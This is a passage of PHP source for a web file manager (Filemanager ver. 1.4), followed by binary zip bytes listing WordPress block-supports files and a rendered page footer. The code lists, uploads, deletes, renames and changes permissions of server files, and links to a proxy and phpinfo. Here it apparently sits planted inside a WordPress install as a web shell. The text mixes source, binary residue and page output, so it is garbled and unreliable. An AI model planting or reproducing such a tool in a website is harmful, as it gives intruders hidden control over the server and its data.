absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK @�\��R� � align.phpnu �[��� PK @�\��4�� � � aria-label.phpnu ȯ�� PK @�\<��1 1 � background.phpnu �[��� PK @�\��Ӯ% % - block-style-variations.phpnu ȯ�� PK @�\��<sh h �C border.phpnu ȯ�� PK @�\�b��� � 6\ colors.phpnu ȯ�� PK @�\{�/� � �q custom-classname.phpnu �[��� PK @�\ �\�� � �x dimensions.phpnu ȯ�� PK @�\�F�� � � duotone.phpnu �[��� PK @�\� � Ș elements.phpnu ȯ�� PK @�\]@�� � Ϲ generated-classname.phpnu �[��� PK @�\k7B�@� @� � layout.phpnu ȯ�� PK @�\M��3 aj position.phpnu ȯ�� PK @�\�1�� � �z settings.phpnu ȯ�� PK @�\#_�- - �� shadow.phpnu �[��� PK @�\�L�� � � spacing.phpnu ȯ�� PK @�\�9��n �n � typography.phpnu ȯ�� PK @�\�U��� � utils.phpnu �[��� PK @�\�� � - block-visibility.phpnu ȯ�� PK @�\� �V V Z( error_lognu �[��� PK @�\}� �� � �< auto-register.phpnu ȯ�� PK @�\y��z% z% �E custom-css.phpnu ȯ�� PK @�\?u�& & �k anchor.phpnu ȯ�� PK @�\�ٲ-2 2 �q file.phpnu �[��� PK @�\�Ħ�A �A er file.gznu �[��� PK � O�
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.11 |
proxy
|
phpinfo
|
Settings